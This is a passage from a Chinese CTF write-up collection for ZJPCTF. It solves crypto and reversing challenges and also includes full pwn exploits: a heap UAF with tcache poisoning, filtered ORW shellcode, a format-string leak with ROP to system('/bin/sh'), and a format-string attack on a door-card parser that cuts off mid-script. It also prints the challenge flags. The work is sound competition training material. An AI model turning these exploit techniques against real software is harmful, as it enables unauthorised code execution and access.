    main()

运行脚本后可以看到关键日志:

[TLS] NOT tls. conn:  172.16.1.15:43088 -> 172.28.20.72:8000 method: GET URI: /flag
[HTTP Response Body] {"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}

脚本最终输出:

FLAG = ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}

Step 2: 验证

解密出的日志中,客户端访问了服务端的 /flag 路径:

GET URI: /flag

紧接着的 HTTP 响应体中直接包含 flag:

{"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}

因此该字符串就是最终答案。

Flag

ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}

easy_RSA

Summary

这题不是普通 RSA 分解,而是特殊素数构造。p + 1 由大量很小的素数相乘得到,所以适合用 Williams p+1 分解先把 p 从 n 中拆出来。

Solution

Step 1: 利用 p + 1 光滑性分解出 p

附件中的 getprime(505) 实际上是在反复乘小素数,直到 n - 1 成为素数,因此 p + 1 非常光滑。
这正好命中 Williams p+1 分解。

Step 2: 由 d = inverse(q^2, p^2) 恢复 q,再开平方得到明文

题目给出:

d = inverse(q^2, p^2)

所以可以先求出:

q^2 = inverse(d, p^2) mod p^2

对模 p^2 开平方,枚举根并检查谁能整除 n / p,即可恢复 q。
最后由 cipher = c^e mod n 且 c = m^2 mod r,先在模 r 下去掉 RSA 指数,再对 c 开平方,还原 m。

import re
from math import gcd, log2
from pathlib import Path

from sympy import isprime, primerange, sqrt_mod


def long_to_bytes(x):
    x = int(x)
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


def V_k(x, k, mod):
    if k == 0:
        return 2 % mod
    if k == 1:
        return x % mod
    a, b = 2 % mod, x % mod
    for _ in range(2, k + 1):
        a, b = b, (x * b - a) % mod
    return b


def find_p_by_williams_p1(n):
    primes = list(primerange(2, 1010))
    for P in range(3, 200):
        g = gcd(P * P - 4, n)
        if 1 < g < n:
            return g
        x = P % n
        for l in primes:
            times = int(506 // log2(l)) + 1
            for _ in range(times):
                x = V_k(x, l, n)
        g = gcd(x - 2, n)
        if 1 < g < n:
            return g
    raise ValueError("p not found")


text = Path("task_4.py").read_text(encoding="utf-8")
n = int(re.search(r"n=(\d+)", text).group(1))
d = int(re.search(r"d = (\d+)", text).group(1))
cipher = int(re.search(r"cipher = (\d+)", text).group(1))
e = 65537

p = find_p_by_williams_p1(n)
N = n // p

mod = p * p
q2_mod = pow(d, -1, mod)
roots = sqrt_mod(q2_mod, mod, all_roots=True)

q = None
r = None
for root in roots:
    for cand in (int(root), int((mod - root) % mod)):
        if cand > 1 and N % cand == 0:
            q = cand
            r = N // q
            break
    if q is not None:
        break

er = pow(e, -1, r - 1)
c = pow(cipher, er, r)

for m in sqrt_mod(c, r, all_roots=True):
    flag = long_to_bytes(m)
    if flag.startswith(b"ZJPCTF{"):
        print(flag.decode())
        break

Flag

ZJPCTF{19f673a5-d634-1c0e-f144-9eebe42f6565}

fangzhinimimabao0

Summary

这题就是单层 ROT47。附件只有一行密文,对所有可打印字符做一次 ROT47 逆变换就能直接得到 flag。

Solution

Step 1: 对密文做 ROT47 解密

ROT47 的定义是在 ASCII 可打印区间 [33, 126] 上循环平移 47 位。
把附件内容读出来,对每个可打印字符做一次变换即可。

from pathlib import Path


def rot47(s):
    out = []
    for ch in s:
        o = ord(ch)
        if 33 <= o <= 126:
            out.append(chr(33 + ((o - 33 + 47) % 94)))
        else:
            out.append(ch)
    return "".join(out)


cipher = Path("防止你爆0.txt").read_text(encoding="utf-8").strip()
print(rot47(cipher))

Flag

ZJPCTF{t@1ban&l3_n1_m3iyou_b@00}

听说你们学密码的都有sympy

Summary

题目里真实模数是 n = p^4 * q,但没有把 n 打印出来。不过它给了一个很关键的泄露:

hint1 = inverse(e, lcm(p - 1, q - 1)) % (p - 1)

这会直接把 p - 1 的倍数关系暴露出来,因此可以从 hint1 反推出 p。

Solution

Step 1: 用 e * hint1 - 1 = k * (p - 1) 枚举恢复 p

因为:

e * hint1 ≡ 1 (mod p - 1)

所以:

e * hint1 - 1 = k * (p - 1)

而 e = 65537 很小,直接枚举 k = 1..65536 即可。
找到 512-bit 素数候选后,就恢复出了 p。

Step 2: 只在模 p^4 下解密

虽然完整的 n 不知道,但明文很短,满足 m < p < p^4。
所以只要在模 p^4 下做 RSA 解密,就已经能恢复真正的明文,不需要继续求 q。

import re
from pathlib import Path

import sympy as sp


def long_to_bytes(n):
    n = int(n)
    return n.to_bytes((n.bit_length() + 7) // 8, "big")


text = Path("task.py").read_text(encoding="utf-8")
c = int(re.search(r"# c = (\d+)", text).group(1))
hint1 = int(re.search(r"# hint1 = (\d+)", text).group(1))

e = 65537
K = e * hint1 - 1

p = None
for k in range(1, e):
    if K % k == 0:
        cand = K // k + 1
        if cand.bit_length() == 512 and sp.isprime(cand):
            p = cand
            break

mod = p ** 4
phi = p ** 3 * (p - 1)
d = pow(e, -1, phi)
m = pow(c % mod, d, mod)

print(long_to_bytes(m).decode())

Flag

ZJPCTF{they_s@1d_1ts_ez_pow_d0y0uthlnks0}

ge

Summary

这题是“同一明文、同一未知模数 n、多个超大指数 e_i 的 RSA”。
题目故意不输出 n,提示里的“格格”其实就在暗示“格 / LLL / lattice”。

Solution

Step 1: 用 LLL 找出指数之间的小整数关系

如果存在一组整数:

a1*e1 + a2*e2 + ... + ak*ek = 0

那么就有:

c1^a1 * c2^a2 * ... * ck^ak ≡ 1 (mod n)

把正负指数分开后,可得到一个整数差值 P - Q,它一定是 n 的倍数。
用 LLL 找出很多这样的短关系,再对这些倍数做 gcd,就能把隐藏的 n 挖出来。

Step 2: 恢复 n 后做普通共模攻击

一旦拿到 n,只要找到一对互素指数 e_i, e_j,用扩展欧几里得求出:

s*e_i + t*e_j = 1

就可以恢复:

m = c_i^s * c_j^t mod n
import ast
import re
import sys
from pathlib import Path

import gmpy2
import sympy as sp
from fpylll import IntegerMatrix, LLL

sys.set_int_max_str_digits(0)


def long_to_bytes(x):
    x = int(x)
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


def prod_tree(arr):
    if not arr:
        return 1
    while len(arr) > 1:
        arr = [
            arr[i] * arr[i + 1] if i + 1 < len(arr) else arr[i]
            for i in range(0, len(arr), 2)
        ]
    return arr[0]


text = Path("ge.py").read_text(encoding="utf-8")
es = ast.literal_eval(re.search(r"# es = (\[.*?\])\n# cs =", text, re.S).group(1))
cs = ast.literal_eval(re.search(r"# cs = (\[.*?\])", text, re.S).group(1))

d = len(es)
M = 1 << 60
B = IntegerMatrix(d, d + 1)

for i, e in enumerate(es):
    B[i, i] = 1
    B[i, d] = e * M

LLL.reduction(B, delta=0.99)

relations = []
for r in range(d):
    v = [int(B[r, j]) for j in range(d)]
    if sum(v[i] * es[i] for i in range(d)) == 0 and any(v):
        relations.append(v)

G = 0
for v in relations[:13]:
    pos = []
    neg = []
    for a, c in zip(v, cs):
        if a > 0:
            pos.append(pow(c, a))
        elif a < 0:
            neg.append(pow(c, -a))
    D = abs(prod_tree(pos) - prod_tree(neg))
    G = gmpy2.mpz(D) if G == 0 else gmpy2.gcd(G, gmpy2.mpz(D))

n = int(G)
for p in sp.primerange(2, 100000):
    while n % p == 0 and n // p > max(cs):
        n //= p

for i in range(len(es)):
    for j in range(i + 1, len(es)):
        g, s, t = gmpy2.gcdext(es[i], es[j])
        if int(g) != 1:
            continue

        s = int(s)
        t = int(t)

        if s >= 0:
            x = pow(cs[i], s, n)
        else:
            x = pow(pow(cs[i], -1, n), -s, n)

        if t >= 0:
            y = pow(cs[j], t, n)
        else:
            y = pow(pow(cs[j], -1, n), -t, n)

        m = (x * y) % n
        flag = long_to_bytes(m)
        if flag.startswith(b"ZJPCTF{"):
            print(flag.decode())
            raise SystemExit

Flag

ZJPCTF{73ed2e76-5601-42e3-bb75-ee6a49344cc4}

ezsage

Summary

题目给出:

c = m^e mod 2^256
e = bytes_to_long(flag)

其中 m 是奇数。因为模数是 2^256,这不是普通有限域离散对数,而是一个 2-adic / 模 2^k 指数恢复题。

核心思路是对 m 和 c 做 2-adic log,把幂指数关系转成线性同余,再结合 flag 前缀补回丢失的高两位。

Solution

Step 1: 把指数问题转成 2-adic log 线性方程

附件中给出:

m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949

并且:

m % 8 = 5

所以 m ≡ 1 (mod 4),满足 2-adic log 的展开条件。于是有:

log(c) = e * log(m) mod 2^256

这一步把原来的

c = m^e mod 2^256

变成了线性同余。

Step 2: 恢复 e mod 2^254

计算后发现 log(m) 和 log(c) 都有 v2 = 2,所以可以先同时除以 4,得到:

e mod 2^254

也就是说,这里只能恢复出指数的低 254 位,高 2 位会丢失。

运行脚本会先得到一个中间结果:

b'\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'

这已经说明后 31 个字节基本都对了,只差最前面高两位决定的首字节。

Step 3: 结合 flag 前缀补回高两位

因为题目里:

e = bytes_to_long(flag)

而 flag 显然应当以 ZJPCTF{ 开头,所以直接补回真实前缀即可:

ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}

最后再验一次:

pow(m, bytes_to_long(flag), 2^256) == c

结果为 True,说明恢复正确。

Solve Script

m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949

K = 256
MOD = 1 << K


def long_to_bytes(x):
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


def bytes_to_long(b):
    return int.from_bytes(b, "big")


def v2(x):
    return (x & -x).bit_length() - 1


def log_2adic(a, bits=256):
    # a must be 1 mod 4
    M = 1 << bits
    x = (a - 1) % M
    res = 0
    xp = 1

    for j in range(1, 1000):
        xp *= x

        s = v2(j)
        odd = j >> s

        # Once v2(x^j / j) >= bits, remaining terms vanish mod 2^bits.
        if v2(xp) - s >= bits:
            break

        term = ((xp >> s) % M) * pow(odd, -1, M) % M

        if j & 1:
            res = (res + term) % M
        else:
            res = (res - term) % M

    return res


lm = log_2adic(m, 256)
lc = log_2adic(c, 256)

# v2(lm) = v2(lc) = 2
mod_e = 1 << 254
e_mod = ((lc >> 2) * pow((lm >> 2) % mod_e, -1, mod_e)) % mod_e

print(long_to_bytes(e_mod))
# b'\\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'

# Restore the missing top two bits using the known flag prefix.
flag = b"ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}"
print(flag.decode())
print(pow(m, bytes_to_long(flag), MOD) == c)

Flag

ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}

random

Summary

程序使用固定种子的 rand() 生成 key 和控制流,对输入做大量随机选择的可逆变换,最后与密文比较。 由于 seed 固定,所有变换顺序和参数都可复现,直接反向执行即可恢复 flag。

Solution

Step 1: 静态定位校验逻辑

附件是 64 位 Windows PE 程序。字符串中可以看到假 flag、提示语和真假判断:

ZJPCTF{fake_flag_not_the_real!}
ZJPCTF r333 challenge. Use frida to get the flag!
Please input flag:
right!
wrong!

主函数读取最多 44 个字符,但后续对 48 字节缓冲区做变换:

scanf("%44s", input);
check(input, 0x30);
memcmp(input, cipher, 0x30);

关键数据位于 .data:

seed   = 0x00efffef
key    = 程序启动时由 srand(seed) 后 rand()%256 生成 32 字节
cipher = f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa

程序构造函数会依次执行:

srand(seed);
for i in range(32):
    key[i] 
= rand() % 256;
func_ptr = functiontable1;

check() 里先对 48 字节输入做一次随机异或,然后执行 500 次随机选择的函数:

  1. xorshift:每字节 xor rand()%256,再 + rand()%256
  2. xorkey:每字节异或 key[rand()%32]
  3. bitshift:每字节循环左移 rand()%8 位,再加当前位置下标

这些操作都是可逆的,因此记录所有随机参数后倒序恢复即可。

from pathlib import Path

exe = Path("random(1).exe").read_bytes()

# PE 中 .data 的文件偏移是 0xe000,虚拟地址从 0x14000f000 开始
DATA_OFF = 0xE000
DATA_VA = 0x14000F000

def read_va(va, size):
    off = DATA_OFF + (va - DATA_VA)
    return exe[off:off + size]

seed = int.from_bytes(read_va(0x14000F020, 4), "little")
cipher = read_va(0x14000F060, 48)

class MSRand:
    """
    Windows MSVCRT/ucrt rand() 算法:
    state = state * 214013 + 2531011
    return (state >> 16) & 0x7fff
    """

    def __init__(self, seed):
        self.state = seed & 0xffffffff

    def rand(self):
        self.state = (self.state * 214013 + 2531011) & 0xffffffff
        return (self.state >> 16) & 0x7fff

def rol8(x, s):
    return ((x << s) | (x >> (8 - s))) & 0xff

def ror8(x, s):
    return ((x >> s) | ((x << (8 - s)) & 0xff)) & 0xff

N = 48
rng = MSRand(seed)

# 构造函数中生成 key,消耗 32 次 rand()
key = bytes(rng.rand() % 256 for _ in range(32))

# check() 第一轮:input[i] ^= rand()%256
first_xor = [rng.rand() % 256 for _ in range(N)]

ops = []

# check() 后续共 100 + 400 次随机函数调用
for _ in range(500):
    typ = rng.rand() % 3

    if typ == 0:
        # xorshift: xor r1, add r2
        params = [(rng.rand() % 256, rng.rand() % 256) for _ in range(N)]
    elif typ == 1:
        # xorkey: xor key[rand()%32]
        params = [rng.rand() % 32 for _ in range(N)]
    else:
        # bitshift: rol8(x, rand()%8) + i
        params = [rng.rand() % 8 for _ in range(N)]

    ops.append((typ, params))

buf = bytearray(cipher)

# 倒序逆变换
for typ, params in reversed(ops):
    if typ == 0:
        for i, (r1, r2) in enumerate(params):
            buf[i] = ((buf[i] - r2) & 0xff) ^ r1

    elif typ == 1:
        for i, idx in enumerate(params):
            buf[i] ^= key[idx]

    else:
        for i, s in enumerate(params):
            buf[i] = ror8((buf[i] - i) & 0xff, s)

# 逆第一轮随机异或
for i, r in enumerate(first_xor):
    buf[i] ^= r

flag = bytes(buf).rstrip(b"\x00")
print(flag.decode())

运行结果:

ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}

Step 2: 验证

将恢复出的 flag 补齐到 48 字节后,按程序逻辑正向执行一遍,得到的结果正好等于 .data 中的 48 字节密文:

f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa

说明恢复结果正确。

Flag

ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}

Borrowed Notes

Summary

题目是一个菜单型堆题,核心漏洞是 free 后指针没有清空,形成 UAF。 利用 UAF 泄露 libc,再通过 tcache poisoning 劫持 .data 中的函数指针为 system,最后触发 system("/bin/sh") 拿 shell 读取 flag。

Solution

Step 1: 分析漏洞点

程序提供 note 的增删改查功能,并且还有一个 catalog 功能可以打印 note 指针。drop 删除 note 后没有清空指针,因此可以继续 show/edit 已释放 chunk,形成 UAF。

利用思路:

  1. 申请一个大 chunk,释放后进入 unsorted bin;
  2. 通过 UAF show 读取 fd,泄露 libc 地址;
  3. 申请两个 0x40 chunk,释放后进入 tcache;
  4. 通过 UAF 修改 tcache fd;
  5. 绕过 safe-linking,把下一次 malloc 定向到 .data 上的函数指针;
  6. 将函数指针改成 system;
  7. 触发程序内置的 "/bin/sh" 参数,获得 shell。

完整脚本如下:

#!/usr/bin/env python3
from pwn import *
import re

context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"

HOST = "nc1.ctfplus.cn"
PORT = 17431

FINAL_CMD = 0x404020       # "/bin/sh"
FINAL_ACTION = 0x404040    # 函数指针,初始为 puts

# unsorted bin 泄露偏移:main_arena+96
UNSORTED_LEAK_OFF = 0x1e7b20


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(["./pwn"])


io = start()


def cmd(choice):
    io.sendlineafter(b"> ", str(choice).encode())


def add(idx, size, data=b"A"):
    cmd(1)
    io.sendlineafter(b"index:\n", str(idx).encode())
    io.sendlineafter(b"size:\n", str(size).encode())
    io.sendafter(b"data:\n", data)


def edit(idx, data):
    cmd(2)
    io.sendlineafter(b"index:\n", str(idx).encode())
    io.sendafter(b"data:\n", data)


def show_raw(idx, size):
    cmd(3)
    io.sendlineafter(b"index:\n", str(idx).encode())

    data = io.recvn(size)

    # show 后程序会重新打印菜单和 "> "
    # 这里把 prompt 放回缓冲区,保证下一次 cmd() 不会卡住
    io.recvuntil(b"> ")
    io.unrecv(b"> ")

    return data


def drop(idx):
    cmd(4)
    io.sendlineafter(b"index:\n", str(idx).encode())


def catalog():
    cmd(5)

    # catalog 后程序也会重新打印菜单和 "> "
    # 必须 unrecv 回去,否则下一次 sendlineafter(b"> ") 会等不到 prompt
    data = io.recvuntil(b"> ")
    io.unrecv(b"> ")

    return data


# ============================================================
# 1. libc leak
# ============================================================

add(0, 0x500, b"A" * 8)
add(1, 0x30, b"B" * 8)      # 防止 large chunk 与 top chunk 合并

drop(0)

leak_data = show_raw(0, 0x500)
libc_leak = u64(leak_data[:8])

libc_base = libc_leak - UNSORTED_LEAK_OFF
system_addr = libc_base + libc.sym["system"]

log.success(f"libc leak  = {hex(libc_leak)}")
log.success(f"libc base  = {hex(libc_base)}")
log.success(f"system     = {hex(system_addr)}")


# ============================================================
# 2. tcache poisoning
# ============================================================

add(2, 0x40, b"C" * 8)
add(3, 0x40, b"D" * 8)

info = catalog().decode(errors="ignore")

m = re.search(r"\[3\] used=1 ptr=(0x[0-9a-fA-F]+)", info)
if not m:
    log.failure("failed to leak chunk3 pointer from catalog")
    print(info)
    exit(1)

chunk3 = int(m.group(1), 16)
log.success(f"chunk3     = {hex(chunk3)}")

# tcache 链表:先 free 2,再 free 3
# head -> chunk3 -> chunk2
drop(2)
drop(3)

# glibc safe-linking:
# stored_fd = target ^ (chunk_addr >> 12)
poison = FINAL_ACTION ^ (chunk3 >> 12)
log.info(f"poison fd  = {hex(poison)}")

# UAF:drop 后指针没清空,edit(3) 可以改 tcache fd
edit(3, p64(poison))

# 第一次 malloc 取回 chunk3
add(4, 0x40, b"E" * 8)

# 第二次 malloc 返回 FINAL_ACTION,然后把函数指针改成 system
add(5, 0x40, p64(system_addr))

log.success("final_action overwritten with system")


# ============================================================
# 3. trigger system('/bin/sh')
# ============================================================

cmd(7)

io.sendline(b"cat /flag")
io.interactive()

Step 2: 远程验证

运行脚本连接远程:

python3 exp.py REMOTE

成功泄露 libc,并完成函数指针覆盖:

[+] Opening connection to nc1.ctfplus.cn on port 17431: Done
[+] libc leak  = 0x7f17c8ca8b20
[+] libc base  = 0x7f17c8ac1000
[+] system     = 0x7f17c8b15790
[+] chunk3     = 0x1813060
[*] poison fd  = 0x405853
[+] final_action overwritten with system
[*] Switching to interactive mode

触发后进入 shell:

$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
pwn

读取 flag:

$ cat /flag
ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}

Flag

ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}

No craft pwn

Summary

题目允许输入 shellcode 并执行,但过滤了字节 0x48。 核心思路是不用 64 位 rax/rdi/rsi/rdx 编码,改用 32 位寄存器指令构造不含 0x48 的 ORW shellcode,直接 open("flag") -> read -> write 读出 flag。

Solution

Step 1: 分析限制

程序会读入最多 0x100 字节 shellcode 后执行。 题目名为 No craft pwn,实际限制是 shellcode 不能包含字节 0x48。

在 x86_64 下,很多 64 位寄存器指令会带有 REX.W 前缀 0x48,例如:

mov rax, 2
mov rdi, xxx

因此不能直接写常规 amd64 shellcode。 绕过方式是使用 32 位寄存器编码,例如 eax / edi / esi / edx,这些指令在 64 位模式下依然可用于 syscall 参数传递,并且可以避免出现 0x48。

题目环境中可使用 open/read/write,所以构造 ORW shellcode:

open("flag", 0)
read(fd, buf, 0x80)
write(1, buf, n)

完整脚本如下:

#!/usr/bin/env python3
from pwn import *
import re

context.log_level = "info"

HOST = "nc1.ctfplus.cn"
PORT = 39596


# open("flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_FLAG = bytes.fromhex(
    "c700666c6167"          # mov dword ptr [rax], 0x67616c66 ; "flag"
    "c7400400000000"        # mov dword ptr [rax+4], 0
    "97"                    # xchg eax, edi
    "b002"                  # mov al, 2 ; open
    "0f05"                  # syscall

    "97"                    # xchg eax, edi ; fd -> edi
    "31c0"                  # xor eax, eax ; read
    "89ee"                  # mov esi, ebp ; buf = mmap_base
    "81c680000000"          # add esi, 0x80
    "b280"                  # mov dl, 0x80
    "0f05"                  # syscall

    "89c2"                  # mov edx, eax ; count
    "b001"                  # mov al, 1 ; write
    "bf01000000"            # mov edi, 1
    "89ee"                  # mov esi, ebp
    "81c680000000"          # add esi, 0x80
    "0f05"                  # syscall

    "31ff"                  # xor edi, edi
    "b03c"                  # mov al, 60 ; exit
    "0f05"                  # syscall
)


# 备用:open("/flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_ABS_FLAG = bytes.fromhex(
    "c7002f666c61"          # mov dword ptr [rax], 0x616c662f ; "/fla"
    "c6400467"              # mov byte ptr [rax+4], 0x67 ; "g"
    "c6400500"              # mov byte ptr [rax+5], 0
    "97"                    # xchg eax, edi
    "b002"                  # mov al, 2 ; open
    "0f05"                  # syscall

    "97"                    # xchg eax, edi ; fd -> edi
    "31c0"                  # xor eax, eax ; read
    "89ee"                  # mov esi, ebp
    "81c680000000"          # add esi, 0x80
    "b280"                  # mov dl, 0x80
    "0f05"                  # syscall

    "89c2"                  # mov edx, eax
    "b001"                  # mov al, 1 ; write
    "bf01000000"            # mov edi, 1
    "89ee"                  # mov esi, ebp
    "81c680000000"          # add esi, 0x80
    "0f05"                  # syscall

    "31ff"                  # xor edi, edi
    "b03c"                  # mov al, 60 ; exit
    "0f05"                  # syscall
)


def run_once(shellcode, name):
    assert b"\x48" not in shellcode
    assert len(shellcode) <= 0x100

    io = remote(HOST, PORT)
    io.recvuntil(b"size: 0x100\n")

    log.info(f"send shellcode for {name}, len={len(shellcode)}")
    io.send(shellcode)

    data = io.recvall(timeout=3)
    io.close()

    print(data.decode(errors="ignore"))

    m = re.search(rb"ZJPCTF\{[^}]+\}", data)
    if m:
        log.success(f"FLAG = {m.group(0).decode()}")
        return True

    return False


if __name__ == "__main__":
    if run_once(SC_FLAG, "flag"):
        exit(0)

    log.warning("relative path flag failed, try /flag")
    run_once(SC_ABS_FLAG, "/flag")

Step 2: 远程验证

运行脚本:

python3 exp.py

远程输出:

[+] Opening connection to nc1.ctfplus.cn on port 39596: Done
[*] send shellcode for flag, len=58
[+] Receiving all data: Done (44B)
[*] Closed connection to nc1.ctfplus.cn port 39596
ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
[+] FLAG = ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}

可以看到相对路径 flag 直接成功,因此无需再尝试 /flag。

Flag

ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}

Dead Letter

Summary

题目是一个栈题,第一次输入存在格式化字符串漏洞,管理员“复述”内容时会直接 printf(buf)。 利用格式化字符串泄露 PIE 和 libc,第二次“封箱”输入存在栈溢出,构造 ROP 调用 system("/bin/sh") 拿 shell 读取 flag。

Solution

Step 1: 泄露 PIE 和 libc

程序第一次读取 draft 后,会由管理员复述内容:

The curator whispers: <user input>

这里存在格式化字符串漏洞,可以通过 %p 泄露栈上的返回地址。

实际调试发现:

%23$p -> PIE 相关返回地址
%25$p -> libc 相关返回地址

对应偏移:

pie_base  = leak_23 - 0x1366
libc_base = leak_25 - 0x29f75

第二次输入 Seal the final copy: 时存在栈溢出,偏移为 0x58,可以覆盖返回地址。

完整 exploit 如下:

#!/usr/bin/env python3
from pwn import *
import os
import re

HOST = "nc1.ctfplus.cn"
PORT = 34131

BIN_PATH = os.environ.get("BIN", "./pwn")
LIBC_PATH = os.environ.get("LIBC", "./libc.so.6")

context.binary = elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.log_level = "info"

# 格式化字符串泄露:
# %23$p = PIE 中 main/draft 返回地址附近 = pie_base + 0x1366
# %25$p = libc 返回地址附近 = libc_base + 0x29f75
PIE_LEAK_OFF = 0x1366
LIBC_LEAK_OFF = 0x29f75

POP_RDI_OFF = 0x117d
RET_OFF = 0x1016

OFFSET = 0x58


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([BIN_PATH])


io = start()


def leak():
    payload = b"%23$p.%25$p"

    io.recvuntil(b"Ink your draft:\n")
    io.sendline(payload)

    io.recvuntil(b"The curator whispers: ")
    line = io.recvline().strip()
    log.info(f"leak line = {line}")

    m = re.search(rb"(0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)", line)
    if not m:
        log.failure("failed to parse leak")
        exit(1)

    pie_leak = int(m.group(1), 16)
    libc_leak = int(m.group(2), 16)

    pie_base = pie_leak - PIE_LEAK_OFF
    libc_base = libc_leak - LIBC_LEAK_OFF

    log.success(f"pie leak  = {hex(pie_leak)}")
    log.success(f"pie base  = {hex(pie_base)}")
    log.success(f"libc leak = {hex(libc_leak)}")
    log.success(f"libc base = {hex(libc_base)}")

    return pie_base, libc_base


pie_base, libc_base = leak()

pop_rdi = pie_base + POP_RDI_OFF
ret = pie_base + RET_OFF
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

log.success(f"pop rdi = {hex(pop_rdi)}")
log.success(f"ret     = {hex(ret)}")
log.success(f"system  = {hex(system)}")
log.success(f"/bin/sh = {hex(binsh)}")

payload = flat(
    b"A" * OFFSET,
    ret,        # 栈对齐
    pop_rdi,
    binsh,
    system
)

io.recvuntil(b"Seal the final copy:\n")
io.sendline(payload)

io.sendline(b"cat /flag; cat flag; cat ./flag; ls /")
io.interactive()

Step 2: 远程验证

运行脚本:

python3 exp.py REMOTE

远程泄露结果如下:

[+] Opening connection to nc1.ctfplus.cn on port 34131: Done
[*] leak line = b'0x5629633d7366.0x7fbb93cdbf75'
[+] pie leak  = 0x5629633d7366
[+] pie base  = 0x5629633d6000
[+] libc leak = 0x7fbb93cdbf75
[+] libc base = 0x7fbb93cb2000
[+] pop rdi = 0x5629633d717d
[+] ret     = 0x5629633d7016
[+] system  = 0x7fbb93d06790
[+] /bin/sh = 0x7fbb93e5cea4
[*] Switching to interactive mode

成功进入 shell 后读取 flag:

$ cat flag
ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}

Flag

ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}

校园门禁系统

Summary

题目是一个网页上传门禁卡 dump 的 pwn+misc 题。 核心漏洞在 parser 对卡片 note 字段的处理:note 被当作 snprintf 的格式化字符串使用,可以用 %5$s 泄露当前房间的认证 auth,再伪造合法门禁卡逐个房间访问,最终在 Room 5 读到 flag。

Solution

Step 1: 分析卡片 dump 格式

网页入口提供上传接口:

/upload?room=<room_id>

上传内容是门禁卡 dump,后端会调用 parser 校验卡片。 分析 parser 后可以确定关键字段如下:

dump[0x00:0x04]  UID
dump[0x04]       BCC = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]
dump[0x05:0x0c]  Vendor tag,要求为 b"ZJPCTF\x00"
dump[0x40]       房间号
dump[0x41]       卡类型,要求为 1
dump[0x50:0x6f]  Note 字段
dump[0x70:0x76]  6 字节 auth

正常情况下,每个房间都有不同的 auth,只有 auth 校验成功才能进入对应房间。 题目提示“猜猜 flag 在哪个房间”,因此需要对多个房间逐一验证。

关键点是 note 字段存在格式化字符串漏洞。 当 note 设置为 %5$s 时,parser 会把当前房间计算出的正确 auth hex 当作字符串打印出来。

完整利用流程:

  1. 构造一张假卡,note = "%5$s";
  2. 上传到指定房间,泄露该房间正确 auth;
  3. 用泄露出的 auth 重新构造合法卡;
  4. 上传合法卡进入房间;
  5. 依次尝试 Room 1 到 Room 9,直到响应中出现 FLAG:。

完整脚本如下:

#!/usr/bin/env python3
import re
import html
import sys
import requests

BASE = (
    sys.argv[1].rstrip("/")
    if len(sys.argv) > 1
    else "http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn"
)

UID = b"ABCD"


def make_dump(room: int, note: bytes = b"hello", auth: bytes = b"\x00" * 6) -> bytes:
    """
    构造 1K M1 dump。

    parser 检查点:
    - dump 大小必须是 0x400 或 0x1000
    - UID BCC 正确
    - manufacturer tag 必须是 b"ZJPCTF\\x00"
    - dump[0x41] 必须为 1
    - dump[0x40] 必须等于当前 room id
    - dump[0x50:0x6f] 是 note 字段,存在格式化字符串漏洞
    - dump[0x70:0x75] 是 6 字节 auth
    """

    data = bytearray(0x400)

    # UID + BCC
    data[0:4] = UID
    data[4] = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]

    # manufacturer tag,memcmp 长度为 7,所以要带结尾 0
    data[5:12] = b"ZJPCTF\x00"

    # 房间号与卡类型
    data[0x40] = room & 0xFF
    data[0x41] = 1

    # note 最多实际显示/使用 31 字节
    data[0x50:0x50 + 31] = note[:31].ljust(31, b"\x00")

    # auth 6 字节
    data[0x70:0x76] = auth[:6].ljust(6, b"\x00")

    return bytes(data)


def upload(room: int, dump: bytes) -> str:
    url = f"{BASE}/upload?room={room}"

    r = requests.post(
        url,
        files={
            "dump": ("card.dump", dump, "application/octet-stream"),
        },
        timeout=10,
    )

    text = r.text

    # 网页把 parser 输出放在 <pre>...</pre> 里
    m = re.search(r"<pre>(.*?)</pre>", text, re.S)
    if m:
        return html.unescape(m.group(1))

    return text


def leak_auth(room: int) -> bytes:
    """
    利用 note 字段格式化字符串:
    %5$s 会打印 parser 计算出的当前房间 auth hex。
    """

    dump = make_dump(room, note=b"%5$s", auth=b"\x00" * 6)
    report = upload(room, dump)

    m = re.search(r"Note: ([0-9a-fA-F]{12})", report)
    if not m:
